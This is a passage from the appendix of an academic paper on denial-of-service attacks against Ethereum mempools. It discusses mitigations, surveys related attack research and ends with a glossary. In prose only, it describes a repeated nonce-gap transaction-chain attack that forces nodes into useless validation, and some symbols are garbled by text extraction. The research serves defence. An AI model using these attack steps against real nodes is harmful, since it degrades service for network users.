multiple slots in a victim’s mempool, while paying for just a
single slot per transaction chain. Such foul-play can be cur-
tailed if mempools prohibit assigning more than a single slot
per address, meaning, in effect, that the concept of “future”
transactions is disabled altogether. Primarily, if every address
has just a single transaction, the ability of a user to create
transactions that invalidate each other is limited.

In particular, this means that upon receiving a transaction,
if the sender’s balance is higher than the total cost of the
transaction (the sum of its value, and the fees it will pay if its
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gas limit is used in full), the receiving actor can be assured
that no other transaction in its mempool can invalidate it, no
matter the transaction order: at the worst case, the transaction
can be included in a block, with the corresponding proposer
collecting the fees until the transaction’s execution ended. But,
the transaction can still be invalidated due to other transactions
the actor is not aware of, similarly to all the proposer-centered
attacks we described before. In addition, attacks arising from
censorship are still possible.

Better overdraft check. One can extend geth’s overdraft
check, such that once a transaction chain’s nonce “gap” is
filled, the entire chain’s validity as a whole is verified.

But, it opens up other avenues for malfeasance. For exam-
ple, consider the following attack, against a mempool which
allows a user to have at most i future transactions. At first, an
adversary submits a valid chain of future transactions with
consecutive nonces Ty, ..., T;, where T, spends an attacker’s
funds in their entirety except i — 2 tokens, and T3, ...,T; each
spend 1 token. Then, the chain’s nonce gap is closed by send-
ing T; which transfers 1 token to some attacker controlled
address, thereby triggering the suggested mitigation, which
will process the chain, and flag all transactions besides the
first as invalid. Afterwards, the attacker submits a new chain
of consecutive nonces 13, ..., T;, where T3 spends an attackers
funds in their entirety except i — 3 tokens, and one token is
spent by each of 14,...,T;. Now, this chain’s nonce gap will
be closed by a transaction T, which sends a single token to an
address belonging to the adversary, again causing all future
transactions to be invalidated. This can be repeated i times,
thereby causing the node to perform useless computations.

Limitations. We note that all modifications, although bene-
ficial from a security standpoint, serve to potentially constrain
anode’s throughput, and thus also its revenue from fees and
the quality of service offered to users. In particular, these miti-
gations may prevent a user from sending multiple transactions
before previous ones are accepted, unless they prepare in ad-
vance to such scenarios by opening multiple accounts, or use
fee-bumping to replace pending transactions with others that
perform more operations. For example, there are Ethereum
smart contracts that allow one to call multiple functions using
a single function call, which receives a list of operations and
performs them one by one.

D.4 Mitigating GhostTX

Mitigating GhostTX requires, first, ensuring validity checks
are identical across all implementations. We note that the
GhostTX variant for adversaries that are proposers cannot be
prevented by this mitigation. Even the non-proposer variant,
although more difficult to execute if the validation discrepancy
is solved, can still be executed: the reliance on censorship is
not inherent to the attack.



E Additional Related Work

DoS attacks. Heo et al. [38] present the Gethlighting DoS
attack, which attempts to isolate an Ethereum node from the
rest of the network. To execute the attack, an adversary is
required to control half of the peer connections of its victim
and flood it with invalid transactions. In contrast to MemPurge,
these transactions are not intended to pass victims’ initial
validation, but rather to occupy their resources for enough time
to prevent valid incoming messages from being processed in
a timely manner. The attack was mitigated in version 1.11.0
of geth, released in February ’23 [65, 66].

Mirkin et al. [56] perform a game theoretic analysis of
a class of DoS attacks which they call BDoS. BDoS at-
tacks allow an adversarial miner with non-negligible min-
ing power to discourage other miners from mining a specific
cryptocurrency, rather than exhausting their resources. This
is done by publishing the headers of mined blocks, while
withholding their contents, thus essentially hiding the cur-
rent blockchain state from competitors and preventing them
from effectively choosing transactions and constructing fee-
maximizing blocks. If this withholding results in enough
miners not participating in mining, then block-time is pro-
longed [78], thereby reducing the rate of profits and making
mining unprofitable.

The stretching attack of Yaish et al. [78] is, effectively, a
DoS attack which slows the growth of the attacked blockchain,
with the authors examining both Bitcoin and PoW-based
Ethereum. It is augmented by two geth vulnerabilities, one of
which constitutes a DoS attack against PoW Ethereum miners.
In the attack, adversaries mine blocks with timestamps set
to some future time, leading recipients to stop mining until
that time arrives. Thus, the attack does not exhaust victim
resources, but rather puts them to sleep. A mitigation for
this vulnerability was put in place in version 1.10.0 of geth,
released in March 2021 [47, 64].

An empirical analysis of Bitcoin-related DoS attacks ex-
ecuted in the wild is performed by Vasek et al. [68]. The
work relies on user-written posts in online forums to uncover
attacks against both miners and user-centered services such
as currency exchanges.

Censorship attacks. Some works proposed attacks that
facilitate censoring, primarily the so-called feather forking
class of attacks, introduced by Miller [55], where even small
attackers (e.g., miners with a low share of the mining power)
can censor transactions.

McCorry et al. [53] extend the original feather forking at-
tack, and show how attackers can censor both confirmed and
unconfirmed transactions on the PoW mechanism used by
Ethereum until it transitioned to PoS, on September 15th, 22.
The realm of Ethereum censorship attacks was further broad-
ened by Winzer et al. [73], who propose three contract-based
censorship attacks and assess them using a game-theoretic
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model. They demonstrate the existence of many equilibria that
correspond to effective attacks given rational system actors. A
Bitcoin-compatible feather forking attack is implemented by
Naumenko [57]. Finally, The resistance against feather fork-
ing attacks of various PoW-based blockchain mechanisms
was examined by Zhang et al. [80].

We note that any attack allowing an adversary to retroac-
tively replace blocks can be also used to perform censorship,
such as Selfish Mining [21], undercutting attacks [9], Uncle
Maker-type attacks [77], time bandit attacks [13], etc.

The act of joining a cryptocurrency network is known as
bootstrapping, and requires communication between the join-
ing node and existing ones to obtain data required for further
participation in the network. An examination of bootstrap-
ping methods is performed by Loe et al. [51], showing that
the most prevalent methods, DNS seeding and IP hard-coding,
are vulnerable to censorship.

Gas pricing mechanisms. While the execution cost of an
EVM opcode should be proportional to its resource use at the
hardware level, some argue that such a binding is challenging
to apply and maintain [60, 67].

Chen et al. [11] evaluate the resource consumption of EVM
opcodes, and show that at the time some opcodes were under-
priced. They suggest that cryptocurrencies should dynami-
cally adjust the gas cost of each opcode as dependent on its
usage frequency, thereby hoping to both detect which opcodes
are under-priced and thus over-used, and thwart potential DoS
attacks by making them more expensive to execute.

Another dynamic mechanism was suggested by Diaman-
dis et al. [14], who furthermore advocate using “multi-
dimensional” fees that do not rely on a single gas cost per
opcode to capture its overall resource use, but rather multiple
costs that correspond to the different types of resources used
(e.g., CPU and memory).

Gas estimation and optimization. A line of works focused
on estimating the gas consumption of smart contracts, and
optimizing them to be gas-efficient. Although these works did
not present attacks, the subject matter is related — our work
relied on crafting maximally complex transactions, which
ideally should be as resource-intensive as possible.

For example, Ma et al. [52] implement a tool that estimates
an upper bound on the gas requirements of smart contract
function calls by automatically generating worst-case inputs.
Albert et al. [1] design a static-analysis-based framework that
optimizes Solidity smart contracts, with respect to gas use.

F Glossary

A summary of all symbols and acronyms used in the paper.



Symbols

o The probability that a validator in S will create
the next block.

S The set of validators to attack.

Aa The attacker.

B The attack’s length, in blocks.

p The transaction submission rate of the attack,
denoted in transactions per block.

c The public address of a censored entity.

X The victim’s minimal fee bump, in percentage.

(0} The fee paid for deploying an attack contract.

0 The fee paid by a single DoS transaction, if it is
accepted to the blockchain.

D The total expected cost of an attack.

u The maximal number of transactions that can be
added to the mempool.

M A mempool.

T A transaction.

u A user.

Acronyms

API application programming interface

BSC BNB Smart Chain

CPU central processing unit

DeFi decentralized finance

DoS denial-of-service

EF Ethereum Foundation

EIP Ethereum improvement proposal

EVM Ethereum virtual machine

geth Go Ethereum

ii.d. independent and identically distributed

10 input/output

mempool memory pool

MEV miner-extractable value

OFAC Office of Foreign Assets Control

p2p peer to peer

PBS proposer-builder separation

PoS proof-of-stake

PoW proof-of-work

RAM random-access memory

REA resource exhaustion attack

SDN Specially Designated Nationals and Blocked Per-
sons

SSD solid state drive

TC Tornado Cash

US United States

VM virtual machine

XOR exclusive or
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